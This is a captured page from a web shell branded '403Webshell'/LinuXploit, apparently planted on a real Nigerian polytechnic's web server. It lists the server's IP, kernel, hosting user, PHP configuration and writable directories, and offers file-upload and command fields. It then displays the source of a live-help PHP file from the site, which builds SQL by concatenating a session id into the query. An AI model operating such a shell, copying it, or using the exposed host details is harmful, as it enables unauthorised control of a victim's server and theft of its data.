403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.131.125
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/.trash/iphone/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/.trash/iphone/visitors.php
<?php
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
 require_once("..\admin_common.php");
else
 require_once("../admin_common.php");

 validate_session($identity);

$thisoperator = new CSLH_operator();
$chatarray = $thisoperator->arrayofchats();
 
// get the info of this user.. 
$query = "SELECT * FROM livehelp_users WHERE sessionid='".$identity['SESSIONID']."'";	
$people = $mydatabase->query($query);
if($people->numrows() != 0){
 $people = $people->fetchRow(DB_FETCHMODE_ASSOC);
 $UNTRUSTED['myid'] = $people['user_id'];
 $operator_id = $UNTRUSTED['myid'];
 $channel = $people['onchannel'];
}  
  
$jsrn = get_jsrn($identity);


 
if(!(empty($UNTRUSTED['selectedwho']))){
	$pairs = explode("__",$UNTRUSTED['selectedwho']);
	for($i=0;$i< count($pairs); $i++){
		$selected = $pairs[$i]; 
    $whatchannel = createchannel($selected);
    $query = "DELETE 
              FROM livehelp_operator_channels 
              WHERE user_id=".intval($myid)." 
                 AND userid=".intval($selected);	
    $mydatabase->query($query);
    $timeof = date("YmdHis");
 }
}
if($UNTRUSTED['what'] == "send"){
$pair = explode(",",$UNTRUSTED['channelsplit']);
 
for($i=0;$i<count($pair);$i++){
	
	$split = $pair[$i];
  $array = explode("__",$split);
  $saidto = $array[1]; 
  $channel = $array[0];  
  if(empty($saidto)){ $channel = -1; }
  $query = "UPDATE livehelp_users 
            SET status='DHTML',sessiondata='invite=".intval($UNTRUSTED['layerinvite'])."' 
            WHERE user_id=".intval($saidto);
  $mydatabase->query($query); 	   	      
  if(!(empty($UNTRUSTED['isnamed']))){
      $query = "UPDATE livehelp_users 
                SET isnamed='Y' 
                WHERE user_id=".intval($saidto);
      $mydatabase->query($query); 	
  }
 }
 
}


if(!(isset($UNTRUSTED['cleartonow']))){ $UNTRUSTED['cleartonow'] = ""; }
if(!(isset($UNTRUSTED['clear']))){ $UNTRUSTED['clear'] = ""; }
if(!(isset($UNTRUSTED['channel']))){ $UNTRUSTED['channel'] = 0; }
if(!(isset($UNTRUSTED['myid']))){ 
	 $UNTRUSTED['myid'] = 0; 
} else {
	 $myid = intval($UNTRUSTED['myid']);
}
if(!(isset($UNTRUSTED['see']))){ 
	$see = ""; 
} else {
  $see = intval($UNTRUSTED['see']);	
}
if(!(isset($UNTRUSTED['starttimeof']))){ $UNTRUSTED['starttimeof'] = 0; }


if(!(empty($UNTRUSTED['setchattype']))){
 $query = "UPDATE livehelp_users SET chattype='xmlhttp' WHERE sessionid='".$identity['SESSIONID']."'";	
 $mydatabase->query($query);
}

$timeof = date("YmdHis");
$timeof_load = $timeof;
$prev = mktime ( date("H"), date("i")-30, date("s"), date("m"), date("d"), date("Y") );
$oldtime = date("YmdHis",$prev);
 
if($CSLH_Config['use_flush'] == "no"){ $timeof = $oldtime; }
if($UNTRUSTED['clear'] == "now"){
  // get the timestamp of the last message sent on this channel.
  $query = "SELECT * FROM livehelp_messages ORDER BY timeof DESC";	
  $messages = $mydatabase->query($query);
  $message = $messages->fetchRow(DB_FETCHMODE_ASSOC);
  $timeof = $message['timeof'] - 2;  
  $offset = $message['timeof'] - 2; 
  $starttimeof =  $message['timeof'] -2; 
} 
if(isset($starttimeof)){
  $timeof = $starttimeof;
}
  
  $timeof = date("YmdHis");

 

if(empty($UNTRUSTED['what'])){ $UNTRUSTED['what'] = ""; }


  
if(!($serversession))
  $mydatabase->close_connect();
 
 $selectedtab = "visitors";
 include "mobileheader.php";
 
?>
<script type="text/javascript">
var myScroll;
window.addEventListener('orientationchange', setHeight);

function setHeight() {
	document.getElementById('wrapper').style.height = window.orientation == 90 || window.orientation == -90 ? '85px' : '390px';
}

function loaded() {

	setHeight();
	document.addEventListener('touchmove', function(e){ e.preventDefault(); });
	myScroll = new iScroll('currentwindow');
 
}
document.addEventListener('DOMContentLoaded', loaded);

// onmouseovers
 r_req = new Image;
 h_req = new Image;
          
 r_req.src = 'images/requests-lb.jpg';
 h_req.src = 'images/requests-rr.jpg';
          

function anyrequests(){
	setTimeout('anyrequests()',7100);
	randu=Math.round(Math.random()*9999); 
	sURL = 'xmlhttp.php'; 
	extra = ""; 
      	 
  sPostData = 'op=yes&whattodo=arethererequests&rand='+ randu;
 
  fullurl = 'xmlhttp.php?' + sPostData;
  //PostForm(sURL, sPostData)
  // alert(fullurl);  
  GETForm3(fullurl);

}

function ExecRes3(textstring){
 
}

	setTimeout('anyrequests()',7100);
</script>
<script language="JavaScript" type="text/javascript" src="../javascript/xmlhttp.js"></script>   
<script language="JavaScript" type="text/javascript">
 
 /** * loads a XMLHTTP response into parseresponse * *@param string url to 
request *@see parseresponse() */
function update_xmlhttp() { 

	setTimeout('update_xmlhttp()',10000);
	randu=Math.round(Math.random()*9999); 
	sURL = 'xmlhttp.php'; 
	extra = ""; 
      	 
  sPostData = 'op=yes&whattodo=visitorsdetail&rand='+ randu;
  fullurl = 'xmlhttp.php?' + sPostData;

  GETForm(fullurl);
  
}

 function ExecRes(textstring){

	var chatelement = document.getElementById('currentwindow'); 
  chatelement.innerHTML = unescape(textstring); 
        
}
 function up(){
  myScroll.refresh();
 	setTimeout('up();',5000);    
	}

 	setTimeout('update_xmlhttp();',4000);    
  setTimeout('up();',4500);   
 
</SCRIPT>
	 
      <div id="wrapper">
       <div id="currentwindow">    
       	
       	<b>Loading Visitors... </b>                     
       </div>
      </div>
 
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit